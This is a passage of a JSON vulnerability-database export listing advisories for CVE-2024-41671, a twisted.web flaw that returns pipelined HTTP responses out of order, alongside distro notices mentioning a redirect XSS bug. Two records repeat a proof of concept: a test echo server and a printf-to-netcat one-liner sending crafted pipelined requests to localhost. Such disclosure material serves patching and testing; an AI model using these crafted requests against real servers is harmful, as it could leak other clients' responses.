24.7.0rc1.","status":"published","published":"2024-07-29T15:15:15.76Z","modified":"2026-06-17T07:48:01.213Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T14:10:14.437386Z"}],"osv":[{"id":"ALPINE-CVE-2024-41671","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","status":"published","published":"2024-07-29T15:15:15.76Z","modified":"2026-11-03T06:32:59.838082032Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-03T07:16:09.603409Z"},{"id":"CVE-2024-41671","title":"twisted.web has disordered HTTP pipeline response","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","status":"published","published":"2024-07-29T14:37:08.484Z","modified":"2026-10-28T02:31:12.848930522Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T15:44:41.963899Z"},{"id":"DEBIAN-CVE-2024-41671","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","status":"published","published":"2024-07-29T15:15:15.76Z","modified":"2026-11-02T12:02:44.565152981Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T15:45:43.156294Z"},{"id":"GHSA-c8m8-j448-xjx7","title":"twisted.web has disordered HTTP pipeline response","description":"### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update \u0026\u0026 apt -y install ncat git python3 python3-pip \\\n    \u0026\u0026 git clone --recurse-submodules https://github.com/twisted/twisted \\\n    \u0026\u0026 cd twisted \\\n    \u0026\u0026 pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n    isLeaf = True\n\n    def render_GET(self, request) -\u003e bytes:\n        return b\"GET\"\n\n    def render_POST(self, request) -\u003e bytes:\n        return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.","status":"published","published":"2024-07-29T16:33:11Z","modified":"2026-07-07T17:56:49.021057189Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"},{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L","level":"medium"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"OESA-2024-1983","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)","status":"published","published":"2024-08-16T11:07:27Z","modified":"2026-08-18T01:18:33.2180122Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:41.595342Z"},{"id":"OESA-2024-1984","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)","status":"published","published":"2024-08-16T11:07:27Z","modified":"2026-08-18T01:18:33.302853463Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:41.595342Z"},{"id":"OESA-2024-1985","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)","status":"published","published":"2024-08-16T11:07:27Z","modified":"2026-08-18T01:18:33.466733864Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:41.595342Z"},{"id":"OESA-2024-1986","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)","status":"published","published":"2024-08-16T11:07:27Z","modified":"2026-08-18T01:18:33.420467374Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:41.595342Z"},{"id":"OESA-2024-2052","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)\r\n\r\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)","status":"published","published":"2024-08-23T11:07:31Z","modified":"2026-08-18T01:18:35.774294923Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:41.595342Z"},{"id":"PYSEC-2026-1992","title":"twisted.web has disordered HTTP pipeline response","description":"### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update \u0026\u0026 apt -y install ncat git python3 python3-pip \\\n    \u0026\u0026 git clone --recurse-submodules https://github.com/twisted/twisted \\\n    \u0026\u0026 cd twisted \\\n    \u0026\u0026 pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n    isLeaf = True\n\n    def render_GET(self, request) -\u003e bytes:\n        return b\"GET\"\n\n    def render_POST(self, request) -\u003e bytes:\n        return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.","status":"published","published":"2026-07-07T14:34:37.734958Z","modified":"2026-07-07T17:48:14.974012795Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"},{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2024-41671","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","status":"published","published":"2024-07-29T15:15:00Z","modified":"2026-02-04T03:42:24.923257Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T16:54:58.679387Z"},{"id":"AZL-47101","title":"CVE-2024-41671 affecting package python-twisted for versions less than 22.10.0-3","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","status":"published","published":"2024-07-29T15:15:15Z","modified":"2026-04-21T04:32:48.841193Z","updated_at":"2026-11-02T15:28:05.694722Z"},{"id":"AZL-47151","title":"CVE-2024-41671 affecting package python-twisted for versions less than 22.10.0-3","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","status":"published","published":"2024-07-29T15:15:15Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:20.321068Z"},{"id":"CLSA-2025-1762474360","title":"TuxCare security update for twisted (4 CVEs)","description":"TuxCare rebuilt twisted to address 4 CVEs. Fixed in 20.3.0.post4+tuxcare.","status":"published","published":"2026-08-04T14:52:09Z","modified":"2026-10-15T09:48:00.955124071Z","updated_at":"2026-11-02T15:43:42.427288Z"},{"id":"DLA-3970-1","title":"twisted - security update","status":"published","published":"2024-11-28T00:00:00Z","modified":"2026-03-09T01:22:40.257832Z","updated_at":"2026-11-02T15:46:12.203458Z"},{"id":"DSA-5797-1","title":"twisted - security update","status":"published","published":"2024-10-25T00:00:00Z","modified":"2026-03-09T02:08:52.022156Z","updated_at":"2026-11-02T15:46:17.892347Z"},{"id":"MGASA-2025-0054","title":"Updated python-twisted packages fix security vulnerabilities","description":"Twisted.web has disordered HTTP pipeline response. (CVE-2023-46137)\nTwisted.web has disordered HTTP pipeline response. (CVE-2024-41671)\nHTML injection in HTTP redirect body. (CVE-2024-41810)\n","status":"published","published":"2025-02-12T06:37:33Z","modified":"2026-04-16T04:43:07.105273148Z","updated_at":"2026-11-02T15:49:43.178336Z"},{"id":"openSUSE-SU-2024:14228-1","title":"matrix-synapse-1.112.0-1.1 on GA media","description":"These are all security issues fixed in the matrix-synapse-1.112.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-07-31T00:00:00Z","modified":"2026-02-04T03:30:45.623894Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:14236-1","title":"python-Twisted-doc-24.3.0-2.1 on GA media","description":"These are all security issues fixed in the python-Twisted-doc-24.3.0-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-08-01T00:00:00Z","modified":"2026-02-04T04:26:14.901205Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"SUSE-SU-2024:2732-1","title":"Security update for python-Twisted","description":"This update for python-Twisted fixes the following issues:\n\n  - CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)\n  - CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)\n","status":"published","published":"2024-08-05T10:56:13Z","modified":"2026-02-04T02:44:49.19117Z","updated_at":"2026-11-02T15:53:55.136363Z"},{"id":"SUSE-SU-2024:2757-1","title":"Security update for python-Twisted","description":"This update for python-Twisted fixes the following issues:\n\n  - CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)\n  - CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)\n","status":"published","published":"2024-08-05T19:58:56Z","modified":"2026-02-04T02:40:39.361811Z","updated_at":"2026-11-02T15:53:55.136363Z"},{"id":"SUSE-SU-2024:2860-1","title":"Security update for python3-Twisted","description":"This update for python3-Twisted fixes the following issues:\n\n- CVE-2024-41671: Fixed HTTP pipelined requests processed out of order in twisted.web (bsc#1228549)\n- CVE-2024-41810: Fixed reflected XSS via HTML Injection in Redirect Response (bsc#1228552)\n","status":"published","published":"2024-08-09T05:34:13Z","modified":"2025-05-02T04:36:59.669633Z","updated_at":"2026-11-02T15:53:55.136363Z"},{"id":"SUSE-SU-2024:2880-1","title":"Security update for python-Twisted","description":"This update for python-Twisted fixes the following issues:\n\n  - CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)\n  - CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)\n","status":"published","published":"2024-08-12T15:39:09Z","modified":"2026-02-04T03:34:09.297504Z","updated_at":"2026-11-02T15:53:55.136363Z"},{"id":"USN-6988-1","title":"twisted vulnerabilities","description":"Ben Kallus discovered that Twisted incorrectly handled response order when\nprocessing multiple HTTP requests. A remote attacker could possibly use\nthis issue to delay and manipulate responses. \nThis issue only affected Ubuntu 24.04 LTS. (CVE-2024-41671)\n\nIt was discovered that Twisted did not properly sanitize certain input.\nAn attacker could use this vulnerability to possibly execute an HTML \ninjection leading to a cross-site scripting (XSS) attack. \n(CVE-2024-41810)\n","status":"published","published":"2024-09-04T08:40:06Z","modified":"2026-06-29T13:51:15.77401716Z","updated_at":"2026-11-02T16:58:18.876384Z"},{"id":"USN-6988-2","title":"twisted vulnerability","description":"USN-6988-1 fixed CVE-2024-41671 in Twisted. The USN incorrectly stated that\nprevious releases were unaffected. This update provides the equivalent fix\nfor Ubuntu 22.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 18.04 LTS.\n\nOriginal advisory details:\n\n Ben Kallus discovered that Twisted incorrectly handled response order when\n processing multiple HTTP requests. A remote attacker could possibly use\n this issue to delay and manipulate responses. \n This issue only affected Ubuntu 24.04 LTS. (CVE-2024-41671)\n","status":"published","published":"2024-11-26T18:25:38Z","modified":"2026-02-10T04:45:04Z","updated_at":"2026-11-02T16:58:18.876384Z"}]}}